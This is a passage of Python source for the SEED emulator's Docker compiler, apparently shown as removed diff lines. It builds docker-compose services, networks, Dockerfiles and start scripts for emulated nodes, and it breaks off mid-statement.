-DockerCompilerFileTemplates['depends_on'] = """\ - depends_on: - - {dependsOn} -""" - -DockerCompilerFileTemplates['compose_service'] = """\ - {nodeId}: - build: ./{nodeId} - container_name: {nodeName} - depends_on: - - {dependsOn} - cap_add: - - ALL -{sysctls} - privileged: true - networks: -{networks}{ports}{volumes} - labels: -{labelList} - environment: - {environment} -""" - -DockerCompilerFileTemplates['compose_sysctl'] = """ - sysctls: - -""" - -DockerCompilerFileTemplates['compose_label_meta'] = """\ - org.seedsecuritylabs.seedemu.meta.{key}: "{value}" -""" - -DockerCompilerFileTemplates['compose_ports'] = """\ - ports: -{portList} -""" - -DockerCompilerFileTemplates['compose_port'] = """\ - - {hostPort}:{nodePort}/{proto} -""" - -DockerCompilerFileTemplates['compose_volumes'] = """\ - volumes: -{volumeList} -""" - -DockerCompilerFileTemplates['compose_service_network'] = """\ - {netId}: -{address} -""" - -DockerCompilerFileTemplates['compose_service_network_address'] = """\ - ipv4_address: {address} -""" - -DockerCompilerFileTemplates['compose_network'] = """\ - {netId}: - driver_opts: - com.docker.network.driver.mtu: {mtu} - ipam: - config: - - subnet: {prefix} - labels: -{labelList} -""" - -DockerCompilerFileTemplates['seedemu_internet_map'] = """\ - seedemu-internet-client: - image: {clientImage} - container_name: seedemu_internet_map - volumes: - - /var/run/docker.sock:/var/run/docker.sock - ports: - - {clientPort}:8080/tcp -""" - -DockerCompilerFileTemplates['seedemu_ether_view'] = """\ - seedemu-ether-client: - image: {clientImage} - container_name: seedemu_ether_view - volumes: - - /var/run/docker.sock:/var/run/docker.sock - ports: - - {clientPort}:5000/tcp -""" - -DockerCompilerFileTemplates['zshrc_pre'] = """\ -export NOPRECMD=1 -alias st=set_title -""" - -DockerCompilerFileTemplates['local_image'] = """\ - {imageName}: - build: - context: {dirName} - image: {imageName} -""" - -# class DockerImage(object): -# """! -# @brief The DockerImage class. - -# This class represents a candidate image for docker compiler. -# """ - -# __software: Set[str] -# __name: str -# __local: bool -# __dirName: str - -# def __init__(self, name: str, software: List[str], local: bool = False, dirName: str = None) -> None: -# """! -# @brief create a new docker image. - -# @param name name of the image. Can be name of a local image, image on -# dockerhub, or image in private repo. -# @param software set of software pre-installed in the image, so the -# docker compiler can skip them when compiling. -# @param local (optional) set this image as a local image. A local image -# is built locally instead of pulled from the docker hub. Default to False. -# @param dirName (optional) directory name of the local image (when local -# is True). Default to None. None means use the name of the image. -# """ -# super().__init__() - -# self.__name = name -# self.__software = set() -# self.__local = local -# self.__dirName = dirName if dirName != None else name - -# for soft in software: -# self.__software.add(soft) - -# def getName(self) -> str: -# """! -# @brief get the name of this image. - -# @returns name. -# """ -# return self.__name - -# def getSoftware(self) -> Set[str]: -# """! -# @brief get set of software installed on this image. - -# @return set. -# """ -# return self.__software -# def getDirName(self) -> str: -# """! -# @brief returns the directory name of this image. -# @return directory name. -# """ -# return self.__dirName - -# def isLocal(self) -> bool: -# """! -# @brief returns True if this image is local. - -# @return True if this image is local. -# """ -# return self.__local - -# def addSoftwares(self, software) -> DockerImage: -# """! -# @brief add softwares to this image. -# @return self, for chaining api calls. -# """ -# for soft in software: -# self.__software.add(soft) - - -class Docker(Compiler): - """! - @brief The Docker compiler class. - - Docker is one of the compiler driver. It compiles the lab to docker - containers. - """ - - __services: str - __networks: str - __naming_scheme: str - __self_managed_network: bool - __dummy_network_pool: Generator[IPv4Network, None, None] - - __internet_map_enabled: bool - __internet_map_port: int - - __ether_view_enabled: bool - __ether_view_port: int - - __client_hide_svcnet: bool - - __images: Dict[str, Tuple[DockerImage, int]] - __forced_image: str - __disable_images: bool - __image_per_node_list: Dict[Tuple[str, str], DockerImage] - _used_images: Set[str] - __config: List[ Tuple[BaseOption , Scope] ] # all encountered Options for .env file - __option_handling: OptionHandling # strategy how to deal with Options - __basesystem_dockerimage_mapping: dict - - def __init__( - self, - platform:Platform = Platform.AMD64, - namingScheme: str = "as{asn}{role}-{displayName}-{primaryIp}", - selfManagedNetwork: bool = False, - dummyNetworksPool: str = '10.128.0.0/9', - dummyNetworksMask: int = 24, - internetMapEnabled: bool = True, - internetMapPort: int = 8080, - etherViewEnabled: bool = False, - etherViewPort: int = 5000, - clientHideServiceNet: bool = True, - option_handling: OptionHandling = OptionHandling.CREATE_SEPARATE_ENV_FILE - ): - """! - @brief Docker compiler constructor. - - @param platform (optional) node cpu architecture Default to Platform.AMD64 - @param namingScheme (optional) node naming scheme. Available variables - are: {asn}, {role} (r - router, h - host, rs - route server), {name}, - {primaryIp} and {displayName}. {displayName} will automatically fall - back to {name} if - Default to as{asn}{role}-{displayName}-{primaryIp}. - @param selfManagedNetwork (optional) use self-managed network. Enable - this to manage the network inside containers instead of using docker's - network management. This works by first assigning "dummy" prefix and - address to containers, then replace those address with "real" address - when the containers start. This will allow the use of overlapping - networks in the emulation and will allow the use of the ".1" address on - nodes. Note this will break port forwarding (except for service nodes - like real-world access node and remote access node.) Default to False. - @param dummyNetworksPool (optional) dummy networks pool. This should not - overlap with any "real" networks used in the emulation, including - loopback IP addresses. Default to 10.128.0.0/9. - @param dummyNetworksMask (optional) mask of dummy networks. Default to - 24. - @param internetMapEnabled (optional) set if seedemu internetMap should be enabled. - Default to False. Note that the seedemu internetMap allows unauthenticated - access to all nodes, which can potentially allow root access to the - emulator host. Only enable seedemu in a trusted network. - @param internetMapPort (optional) set seedemu internetMap port. Default to 8080. - @param etherViewEnabled (optional) set if seedemu EtherView should be enabled. - Default to False. - @param etherViewPort (optional) set seedemu EtherView port. Default to 5000. - @param clientHideServiceNet (optional) hide service network for the - client map by not adding metadata on the net. Default to True. - """ - self.__option_handling = option_handling - self.__networks = "" - self.__services = "" - self.__naming_scheme = namingScheme - self.__self_managed_network = selfManagedNetwork - self.__dummy_network_pool = IPv4Network(dummyNetworksPool).subnets(new_prefix = dummyNetworksMask) - - self.__internet_map_enabled = internetMapEnabled - self.__internet_map_port = internetMapPort - - self.__ether_view_enabled = etherViewEnabled - self.__ether_view_port = etherViewPort - - self.__client_hide_svcnet = clientHideServiceNet - - self.__images = {} - self.__forced_image = None - self.__disable_images = False - self._used_images = set() - self.__image_per_node_list = {} - self.__config = [] # variables for '.env' file alongside 'docker-compose.yml' - - self.__volumes_dedup = ( - [] - ) # unforunately set(()) failed to automatically deduplicate - self.__vol_names = [] - super().__init__() - - self.__platform = platform - - self.__basesystem_dockerimage_mapping = BASESYSTEM_DOCKERIMAGE_MAPPING_PER_PLATFORM[self.__platform] - - for name, image in self.__basesystem_dockerimage_mapping.items(): - priority = 0 - if name == BaseSystem.DEFAULT: - priority = 1 - self.addImage(image, priority=priority) - - def _addVolume(self, vol: BaseVolume): - """! @brief add a docker volume/bind mount/or tmpfs - - Remember them for later, to generate the top lvl 'volumes:' section of docker-compose.yml - """ - # if vol.type() == 'volume': # then it is a named-volume - key = vol.asDict()["source"] - if key not in self.__vol_names: - self.__volumes_dedup.append(vol) - self.__vol_names.append(key) - return self - - def _getVolumes(self) -> List[BaseVolume]: - """! @brief get all docker volumes/mounts that must appear - in docker-compose.yml top-level 'volumes:' section - """ - return self.__volumes_dedup - - def optionHandlingCapabilities(self) -> OptionHandling: - return OptionHandling.DIRECT_DOCKER_COMPOSE | OptionHandling.CREATE_SEPARATE_ENV_FILE - - def getName(self) -> str: - return "Docker" - - def addImage(self, image: DockerImage, priority: int = -1) -> Docker: - """! - @brief add an candidate image to the compiler. - - @param image image to add. - @param priority (optional) priority of this image. Used when one or more - images with same number of missing software exist. The one with highest - priority wins. If two or more images with same priority and same number - of missing software exist, the one added the last will be used. All - built-in images has priority of 0. Default to -1. All built-in images are - prior to the added candidate image. To set a candidate image to a node, - use setImageOverride() method. - - @returns self, for chaining api calls. - """ - assert image.getName() not in self.__images, 'image with name {} already exists.'.format(image.getName()) - - self.__images[image.getName()] = (image, priority) - - return self - - def getImages(self) -> List[Tuple[DockerImage, int]]: - """! - @brief get list of images configured. - - @returns list of tuple of images and priority. - """ - - return list(self.__images.values()) - - def forceImage(self, imageName: str) -> Docker: - """! - @brief forces the docker compiler to use a image, identified by the - imageName. Image with such name must be added to the docker compiler - with the addImage method, or the docker compiler will fail at compile - time. Set to None to disable the force behavior. - - @param imageName name of the image. - - @returns self, for chaining api calls. - """ - self.__forced_image = imageName - - return self - - def disableImages(self, disabled: bool = True) -> Docker: - """! - @brief forces the docker compiler to not use any images and build - everything for starch. Set to False to disable the behavior. - - @param disabled (option) disabled image if True. Default to True. - - @returns self, for chaining api calls. - """ - self.__disable_images = disabled - - return self - - def setImageOverride(self, node:Node, imageName:str) -> Docker: - """! - @brief set the docker compiler to use a image on the specified Node. - - @param node target node to override image. - @param imageName name of the image to use. - - @returns self, for chaining api calls. - """ - asn = node.getAsn() - name = node.getName() - self.__image_per_node_list[(asn, name)]=imageName - - def _groupSoftware(self, emulator: Emulator): - """! - @brief Group apt-get install calls to maximize docker cache. - - @param emulator emulator to load nodes from. - """ - - registry = emulator.getRegistry() - - # { [imageName]: { [softName]: [nodeRef] } } - softGroups: Dict[str, Dict[str, List[Node]]] = {} - - # { [imageName]: useCount } - groupIter: Dict[str, int] = {} - - for ((scope, type, name), obj) in registry.getAll().items(): - if type not in ['rnode', 'csnode', 'hnode', 'snode', 'rs', 'snode']: - continue - - node: Node = obj - - (img, _) = self._selectImageFor(node) - imgName = img.getName() - - if not imgName in groupIter: - groupIter[imgName] = 0 - - groupIter[imgName] += 1 - - if not imgName in softGroups: - softGroups[imgName] = {} - - group = softGroups[imgName] - - for soft in node.getSoftware(): - if soft not in group: - group[soft] = [] - group[soft].append(node) - - for (key, val) in softGroups.items(): - maxIter = groupIter[key] - self._log('grouping software for image "{}" - {} references.'.format(key, maxIter)) - step = 1 - - for commRequired in range(maxIter, 0, -1): - currentTier: Set[str] = set() - currentTierNodes: Set[Node] = set() - - for (soft, nodes) in val.items(): - if len(nodes) == commRequired: - currentTier.add(soft) - for node in nodes: currentTierNodes.add(node) - - for node in currentTierNodes: - if not node.hasAttribute('__soft_install_tiers'): - node.setAttribute('__soft_install_tiers', []) - - node.getAttribute('__soft_install_tiers').append(currentTier) - - - if len(currentTier) > 0: - self._log('the following software has been grouped together in step {}: {} since they are referenced by {} nodes.'.format(step, currentTier, len(currentTierNodes))) - step += 1 - - - def _selectImageFor(self, node: Node) -> Tuple[DockerImage, Set[str]]: - """! - @brief select image for the given node. - - @param node node. - - @returns tuple of selected image and set of missing software. - """ - nodeSoft = node.getSoftware() - nodeKey = (node.getAsn(), node.getName()) - - # #1 Highest Priority (User Custom Image) - if nodeKey in self.__image_per_node_list: - image_name = self.__image_per_node_list[nodeKey] - - assert image_name in self.__images, 'image-per-node configured, but image {} does not exist.'.format(image_name) - - (image, _) = self.__images[image_name] - - self._log('image-per-node configured, using {}'.format(image.getName())) - return (image, nodeSoft - image.getSoftware()) - - # Should we keep this feature? - if self.__disable_images: - self._log('disable-imaged configured, using base image.') - (image, _) = self.__images['ubuntu:20.04'] - return (image, nodeSoft - image.getSoftware()) - - # Set Default Image for All Nodes - if self.__forced_image != None: - assert self.__forced_image in self.__images, 'forced-image configured, but image {} does not exist.'.format(self.__forced_image) - - (image, _) = self.__images[self.__forced_image] - - self._log('force-image configured, using image: {}'.format(image.getName())) - - return (image, nodeSoft - image.getSoftware()) - - #Maintain a table : Virtual Image Name - Actual Image Name - image = self.__basesystem_dockerimage_mapping[node.getBaseSystem()] - - return (image, nodeSoft - image.getSoftware()) - - # candidates: List[Tuple[DockerImage, int]] = [] - # minMissing = len(nodeSoft) - # for (image, prio) in self.__images.values(): - # missing = len(nodeSoft - image.getSoftware()) - - # if missing < minMissing: - # candidates = [] - # minMissing = missing - # if missing <= minMissing: - # candidates.append((image, prio)) - - # assert len(candidates) > 0, '_electImageFor ended w/ no images?' - - # (selected, maxPrio) = candidates[0] - - # for (candidate, prio) in candidates: - # if prio >= maxPrio: - # maxPrio = prio - # selected = candidate - - # return (selected, nodeSoft - selected.getSoftware()) - - - def _getNetMeta(self, net: Network) -> str: - """! - @brief get net metadata labels. - - @param net net object. - - @returns metadata labels string. - """ - - (scope, type, name) = net.getRegistryInfo() - - labels = '' - - if self.__client_hide_svcnet and scope == 'seedemu' and name == '000_svc': - return DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'dummy', - value = 'dummy label for hidden node/net' - ) - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'type', - value = 'global' if scope == 'ix' else 'local' - ) - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'scope', - value = scope - ) - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'name', - value = name - ) - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'prefix', - value = net.getPrefix() - ) - - if net.getDisplayName() != None: - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'displayname', - value = net.getDisplayName() - ) - - if net.getDescription() != None: - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'description', - value = net.getDescription() - ) - - return labels - - def _getNodeMeta(self, node: Node) -> str: - """! - @brief get node metadata labels. - - @param node node object. - - @returns metadata labels string. - """ - (scope, type, name) = node.getRegistryInfo() - - labels = '' - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'asn', - value = node.getAsn() - ) - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'nodename', - value = name - ) - - if type == 'hnode': - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'role', - value = 'Host' - ) - - if type == 'rnode': - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'role', - value = 'Router' - ) - if type == 'brdnode': - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'role', - value = 'BorderRouter' - ) - - if type == 'csnode': - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'role', - value = 'SCION Control Service' - ) - - if type == 'snode': - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'role', - value = 'Emulator Service Worker' - ) - - if type == 'rs': - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'role', - value = 'Route Server' - ) - - if node.getDisplayName() != None: - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'displayname', - value = node.getDisplayName() - ) - - if node.getDescription() != None: - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'description', - value = node.getDescription() - ) - - if len(node.getClasses()) > 0: - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'class', - value = json.dumps(node.getClasses()).replace("\"", "\\\"") - ) - - for key, value in node.getLabel().items(): - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = key, - value = value - ) - n = 0 - for iface in node.getInterfaces(): - net = iface.getNet() - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'net.{}.name'.format(n), - value = net.getName() - ) - - labels += DockerCompilerFileTemplates['compose_label_meta'].format( - key = 'net.{}.address'.format(n), - value = '{}/{}'.format(iface.getAddress(), net.getPrefix().prefixlen) - ) - - n += 1 - - return labels - - def _nodeRoleToString(self, role: NodeRole): - """! - @brief convert node role to prefix string - - @param role node role - - @returns prefix string - """ - if role == NodeRole.Host: return 'h' - if role == NodeRole.Router: return 'r' - if role == NodeRole.ControlService: return 'cs' - if role == NodeRole.RouteServer: return 'rs' - if role == NodeRole.BorderRouter: return 'brd' - assert False, 'unknown node role {}'.format(role) - - def _contextToPrefix(self, scope: str, type: str) -> str: - """! - @brief Convert context to prefix. - - @param scope scope. - @param type type. - - @returns prefix string. - """ - return '{}_{}_'.format(type, scope) - - def _addFile(self, path: str, content: str) -> str: - """! - @brief Stage file to local folder and return Dockerfile command. - - @param path path to file. (in container) - @param content content of the file. - - @returns COPY expression for dockerfile. - """ - - staged_path = md5(path.encode('utf-8')).hexdigest() - print(content, file=open(staged_path, 'w')) - return 'COPY {} {}\n'.format(staged_path, path) - - def _importFile(self, path: str, hostpath: str) -> str: - """! - @brief Stage file to local folder and return Dockerfile command. - - @param path path to file. (in container) - @param hostpath path to file. (on host) - - @returns COPY expression for dockerfile. - """ - - staged_path = md5(path.encode('utf-8')).hexdigest() - copyfile(hostpath, staged_path) - return 'COPY {} {}\n'.format(staged_path, path) - - - def _getComposeNodeName(self, node: Node) -> str: - """! - @brief Given a node, compute its final container_name, as it will be - known in the docker-compose file. - """ - name = self.__naming_scheme.format( - asn = node.getAsn(), - role = self._nodeRoleToString(node.getRole()), - name = node.getName(), - displayName = node.getDisplayName() if node.getDisplayName() != None else node.getName(), - primaryIp = node.getInterfaces()[0].getAddress() - ) - - return sub(r'[^a-zA-Z0-9_.-]', '_', name) - - def _getRealNodeName(self, node: Node) -> str: - """! - @brief Computes the sub directory names inside the output folder. - """ - (scope, type, _) = node.getRegistryInfo() - prefix = self._contextToPrefix(scope, type) - return '{}{}'.format(prefix, node.getName()) - - def _getRealNetName(self, net: Network): - """! - @brief Computes name of a network as it will be known in the docker-compose file. - """ - (netscope, _, _) = net.getRegistryInfo() - net_prefix = self._contextToPrefix(netscope, 'net') - if net.getType() == NetworkType.Bridge: net_prefix = '' - return '{}{}'.format(net_prefix, net.getName()) - - def _getComposeServicePortList(self, node: Node) -> str: - """! - @brief Computes the 'ports:' section of the service in docker-compose.yml. - """ - _ports = node.getPorts() - ports = '' - if len(_ports) > 0: - lst = '' - for (h, n, p) in _ports: - lst += DockerCompilerFileTemplates['compose_port'].format( - hostPort = h, - nodePort = n, - proto = p - ) - ports = DockerCompilerFileTemplates['compose_ports'].format( - portList = lst - ) - return ports - - def _getComposeNodeNets(self, node: Node) -> str: - - node_nets = '' - dummy_addr_map = '' - - for iface in node.getInterfaces(): - net = iface.getNet() - real_netname = self._getRealNetName(net) - address = iface.getAddress() - - if self.__self_managed_network and net.getType() != NetworkType.Bridge: - d_index: int = net.getAttribute('dummy_prefix_index') - d_prefix: IPv4Network = net.getAttribute('dummy_prefix') - d_address: IPv4Address = d_prefix[d_index] - - net.setAttribute('dummy_prefix_index', d_index + 1) - - dummy_addr_map += '{}/{},{}/{}\n'.format( - d_address, d_prefix.prefixlen, - iface.getAddress(), iface.getNet().getPrefix().prefixlen - ) - - address = d_address - - self._log('using self-managed network: using dummy address {}/{} for {}/{} on as{}/{}'.format( - d_address, d_prefix.prefixlen, iface.getAddress(), iface.getNet().getPrefix().prefixlen, - node.getAsn(), node.getName() - )) - - if address == None: - address = "" - else: - address = DockerCompilerFileTemplates['compose_service_network_address'].format(address = address) - - node_nets += DockerCompilerFileTemplates['compose_service_network'].format( - netId = real_netname, - address = address - ) - return node_nets, dummy_addr_map - - def _getComposeNodeVolumes(self, node: Node) -> str: - """ compute the docker-compose 'volumes:' section for this service(emulation node)""" - - volumes = '' - # svcvols = map( lambda vol: ServiceLvlVolume(vol), node.getCustomVolumes() ) - svcvols = list (set(node.getDockerVolumes() )) - for v in svcvols: - v.mode = 'service' - yamlvols = '\n'.join(map( lambda line: ' ' + line ,dump( svcvols ).split('\n') ) ) - - volumes +=' volumes:\n' + yamlvols if len(node.getDockerVolumes()) > 0 else '' - - - # the top-level docker-compose volumes section is rendered at a later stage .. - # Remember encountered volumes until then - for v in node.getDockerVolumes(): - self._addVolume(v) - - return volumes - - def _computeDockerfile(self, node: Node) -> str: - """! - @brief Returns dockerfile contents for node. - """ - dockerfile = DockerCompilerFileTemplates['dockerfile'] - - (image, soft) = self._selectImageFor(node) - - if not node.hasAttribute('__soft_install_tiers') and len(soft) > 0: - dockerfile += 'RUN apt-get update && apt-get install -y --no-install-recommends {}\n'.format(' '.join(sorted(soft))) - - if node.hasAttribute('__soft_install_tiers'): - softLists: List[List[str]] = node.getAttribute('__soft_install_tiers') - for softList in softLists: - softList = set(softList) & soft - if len(softList) == 0: continue - dockerfile += 'RUN apt-get update && apt-get install -y --no-install-recommends {}\n'.format(' '.join(sorted(softList))) - - #included in the seedemu-base dockerImage. - #dockerfile += 'RUN curl -L https://grml.org/zsh/zshrc > /root/.zshrc\n' - dockerfile = 'FROM {}\n'.format(md5(image.getName().encode('utf-8')).hexdigest()) + dockerfile - self._used_images.add(image.getName()) - - for cmd in node.getDockerCommands(): dockerfile += '{}\n'.format(cmd) - for cmd in node.getBuildCommands(): dockerfile += 'RUN {}\n'.format(cmd) - - start_commands = '' - - if self.__self_managed_network: - start_commands += 'chmod +x /replace_address.sh\n' - start_commands += '/replace_address.sh\n' - dockerfile += self._addFile('/replace_address.sh', DockerCompilerFileTemplates['replace_address_script']) - dockerfile += self._addFile('/root/.zshrc.pre', DockerCompilerFileTemplates['zshrc_pre']) - - for (cmd, fork) in node.getStartCommands(): - start_commands += '{}{}\n'.format(cmd, ' &' if fork else '') - - for (cmd, fork) in node.getPostConfigCommands(): - start_commands += '{}{}\n'.format(cmd, ' &' if fork else '') - - dockerfile += self._addFile('/start.sh', DockerCompilerFileTemplates['start_script'].format( - startCommands = start_commands, - buildtime_sysctl=self._getNodeBuildtimeSysctl(node) - )) - - dockerfile += self._addFile('/seedemu_sniffer', DockerCompilerFileTemplates['seedemu_sniffer']) - dockerfile += self._addFile('/seedemu_worker', DockerCompilerFileTemplates['seedemu_worker']) - - dockerfile += 'RUN chmod +x /start.sh\n' - dockerfile += 'RUN chmod +x /seedemu_sniffer\n' - dockerfile += 'RUN chmod +x /seedemu_worker\n' - - for file in node.getFiles(): - (path, content) = file.get() - dockerfile += self._addFile(path, content) - - for (cpath, hpath) in node.getImportedFiles().items(): - dockerfile += self._importFile(cpath, hpath) - - dockerfile += 'CMD ["/start.sh"]\n' - return dockerfile - - def _getNodeBuildtimeSysctl(self, node: Node) -> str: - """!@brief get sysctl-flag settings for /start.sh script - @note if a sysctl-option is in BUILD_TIME mode, it will go to /start.sh - otherwise if mode is RUNTIME the flag will be set in docker-compose.yml - (except for custom named interfaces such as 'net0' which would still go to /start.sh - because they simply don't exist yet once the container starts up - and /interface_setup hasn't been called yet ) - """ - set_flags = [] - rp_opt = node.getOption('sysctl_netipv4_conf_rp_filter') - for k, v in rp_opt.value.items(): - # custom interfaces are always BUILD_TIME - if k not in ['all', 'default']: - rp_filter = f'echo {int(v)} > /proc/sys/net/ipv4/conf/{k}/rp_filter' - set_flags.append(rp_filter) - elif rp_opt.mode == OptionMode.BUILD_TIME: - # flags for 'all' and 'default' interfaces - # could be set in docker-compose.yml already if OptionMode is RUNTIME - rp_filter = f'echo {int(v)} > /proc/sys/net/ipv4/conf/{k}/rp_filter' - set_flags.append(rp_filter) - - - - if opts := node.getScopedOptions(prefix='sysctl'): - for o, _ in opts: - if o.mode != OptionMode.BUILD_TIME: - # then its already set in docker-compose.yml - continue - if o.fullname() == 'sysctl_netipv4_conf_rp_filter': continue - for s in repr(o).split('\n'): - set_flags.append(f'sysctl -w {s.strip()}') - - - return '\n'.join(set_flags) - - def _compileNode(self, node: Node ) -> str: - """! - @brief Compile a single node. Will create folder for node and the - dockerfile. - - @param node node to compile. - - @returns docker-compose service string. - """ - real_nodename = self._getRealNodeName(node) - node_nets, dummy_addr_map = self._getComposeNodeNets(node) - if self.__self_managed_network: - node.setFile('/dummy_addr_map.txt', dummy_addr_map) - - mkdir(real_nodename) - chdir(real_nodename) - - image,_ = self._selectImageFor(node) - dockerfile = self._computeDockerfile(node) - print(dockerfile, file=open('Dockerfile', 'w')) - - chdir('..') - - name = self._getComposeNodeName(node) - return DockerCompilerFileTemplates['compose_service'].format( - nodeId = real_nodename, - nodeName = name, - dependsOn = md5(image.getName().encode('utf-8')).hexdigest(), - networks = node_nets, - sysctls = self._getNodeSysctls(node), - # privileged = 'true' if node.isPrivileged() else 'false', - ports = self._getComposeServicePortList(node), - labelList = self._getNodeMeta(node), - volumes = self._getComposeNodeVolumes(node), - environment= " - CONTAINER_NAME={}\n ".format(name) + self._computeNodeEnvironment(node) - ) - - def _getNodeSysctls(self, node: Node) -> str: - """!@brief compute the 'sysctl:' section of the node's service - in docker-compose.yml file - @note sysctl flags which are set in the docker-compose.yml file - can be changed, without having to recompile any images and - thus correspond to OptionMode.RUN_TIME - """ - opt_keyvals = [] # 'repr' of all sysctl options set on this node i.e. : '- net.ipv4.ip_forwarding = 0' - #TODO: check if option mode is runtime - # if not the setting of this option should go to the /start.sh script (BUILD_TIME) - # Also interfaces other than 'all'|'default' cant go in the docker-compose.yml file - # because they only exist under this name once the /interface_setup script has run - # and renamed them to their final/expected names i.e. 'net0' - if opts := node.getScopedOptions(prefix='sysctl'): - for o, _ in opts: - if o.mode == OptionMode.RUN_TIME: - if (val := o.repr_runtime()) != None: - for s in val.split('\n'): - opt_keyvals.append(f'- {s.strip()}') - else: - opt_keyvals.append(repr(o)) - if len(opt_keyvals) > 0: - return DockerCompilerFileTemplates['compose_sysctl'] + ' ' + '\n '.join( opt_keyvals ) - else: - return '' - - def _computeNodeEnvironment(self, node: Node) -> str: - """! - @brief computes the environment section - of the docker-compose service for the given node - """ - - # just copy all nodes scoped runtime opts into a list (tuple(opt, scope)) - # and sort the list ascending by scope (specific to more general ) - # Then uniqueify the list -> whats left is the .env file's content... - # minimal without duplicates - - def unique_partial_order_snd(elements): - unique_list = [] - - for elem in elements: - #if not any(elem == existing or existing < elem or elem < existing for existing in unique_list): - if not any((elem[1] == existing[1]) and (elem[0].name == existing[0].name) for existing in unique_list): - unique_list.append(elem) - - return unique_list - - - def cmp_snd(a, b): - """Custom comparator for sorting based on the second tuple element.""" - try: - if a[1] < b[1]: - return -1 - elif a[1] > b[1]: - return 1 - else: - return 0 - except TypeError: - return 0 - - scopts = node.getScopedRuntimeOptions() - - if self.__option_handling == OptionHandling.DIRECT_DOCKER_COMPOSE: - keyval_list = map(lambda x: f'- {x.name.upper()}={x.value}', [ o for o,s in scopts] ) - return '\n '.join(keyval_list) - elif self.__option_handling == OptionHandling.CREATE_SEPARATE_ENV_FILE: - - self.__config.extend(scopts) - - res= sorted( self.__config, key=cmp_to_key(cmp_snd) ) - #remember encountered variables for .env file generation later.. - self.__config = unique_partial_order_snd(res) - keyval_list = map(lambda x: f'- {x[0].name.upper()}=${{{ self._sndary_key(x[0],x[1])}}}', scopts ) - return '\n '.join(keyval_list) - - def _sndary_key(self, o: BaseOption, s: Scope ) -> str: - base = o.name.upper() - match s.tier: - case ScopeTier.Global: - match s.type: - case ScopeType.ANY: - return base - case ScopeType.BRDNODE: - return f'{base}_BRDNODE' - case ScopeType.HNODE: - return f'{base}_HNODE' - case ScopeType.CSNODE: - return f'{base}_CSNODE' - case ScopeType.RSNODE: - return f'{base}_RSNODE' - case ScopeType.RNODE: - return f'{base}_RNODE' - case _: - #TODO: combination (ORed) Flags not yet implemented - raise NotImplementedError - case ScopeTier.AS: - match s.type: - case ScopeType.ANY: - return f'{base}_{s.asn}' - case ScopeType.BRDNODE: - return f'{base}_{s.asn}_BRDNODE' - case ScopeType.HNODE: - return f'{base}_{s.asn}_HNODE' - case ScopeType.CSNODE: - return f'{base}_{s.asn}_CSNODE' - case ScopeType.RSNODE: - return f'{base}_{s.asn}_RSNODE' - case ScopeType.RNODE: - return f'{base}_{s.asn}_RNODE' - case _: - # combination (ORed) Flags not yet implemented - #TODO: How should we call CSNODE|HNODE or BRDNODE|RSNODE|RNODE ?! - raise NotImplementedError - case ScopeTier.Node: - return f'{base}_{s.asn}_{s.node.upper()}' # maybe add type here - - def _compileNet(self, net: Network) -> str: - """! - @brief compile a network. - - @param net net object. - - @returns docker-compose network string. - """ - if self.__self_managed_network and net.getType() != NetworkType.Bridge: - pfx = next(self.__dummy_network_pool) - net.setAttribute('dummy_prefix', pfx) - net.setAttribute('dummy_prefix_index', 2) - self._log('self-managed network: using dummy prefix {}'.format(pfx)) - - - return DockerCompilerFileTemplates['compose_network'].format( - netId = self._getRealNetName(net), - prefix = net.getAttribute('dummy_prefix') if self.__self_managed_network and net.getType() != NetworkType.Bridge else net.getPrefix(), - mtu = net.getMtu(), - labelList = self._getNetMeta(net) - ) - - def generateEnvFile(self, scope: Scope, dir_prefix: str = '/'): - """! - @brief generates the '.env' file that accompanies any 'docker-compose.yml' file - @param scope filter ENV variables by scope (i.e. ASN). - This is required i.e. by DistributedDocker compiler which generates a separate .env file per AS, - which contains only the relevant subset of all variables. - """ - - prefix=dir_prefix - if dir_prefix != '' and not dir_prefix.endswith('/'): - prefix += '/' - - vars = [] - for o,s in self.__config: - try: - if s < scope or s == scope: - sndkey = self._sndary_key(o,s) - val = o.value - vars.append( f'{sndkey}={val}') - except: - pass - assert len(vars)==len(self.__config), 'implementation error' - print( '\n'.join(vars) ,file=open(f'{prefix}.env','w')) - - def _makeDummies(self) -> str: - """! - @brief create dummy services to get around docker pull limits. - - @returns docker-compose service string. - """ - mkdir('dummies') - chdir('dummies') - - dummies = '' - - for image in self._used_images: - self._log('adding dummy service for image {}...'.format(image)) - - imageDigest = md5(image.encode('utf-8')).hexdigest() - dockerImage, _ = self.__images[image] - if dockerImage.isLocal(): - dummies += DockerCompilerFileTemplates['compose_dummy'].format( - imageDigest = imageDigest, - dependsOn= DockerCompilerFileTemplates['depends_on'].format( - dependsOn = image - ) - ) - else: - dummies += DockerCompilerFileTemplates['compose_dummy'].format( - imageDigest = imageDigest, - dependsOn= "" - ) - - dockerfile = 'FROM {}\n'.format(image) - print(dockerfile, file=open(imageDigest, 'w')) - - chdir('..') - - return dummies - - def _doCompile(self, emulator: Emulator): - registry = emulator.getRegistry() - - self._groupSoftware(emulator) - - for ((scope, type, name), obj) in registry.getAll().items(): - - if type == 'net': - self._log('creating network: {}/{}...'.format(scope, name)) - self.__networks += self._compileNet(obj) - - for ((scope, type, name), obj) in registry.getAll().items(): - if type == 'rnode': - self._log('compiling router node {} for as{}...'.format(name, scope)) - self.__services += self._compileNode(obj) - - if type == 'csnode': - self._log('compiling control service node {} for as{}...'.format(name, scope)) - self.__services += self._compileNode(obj) - - if type == 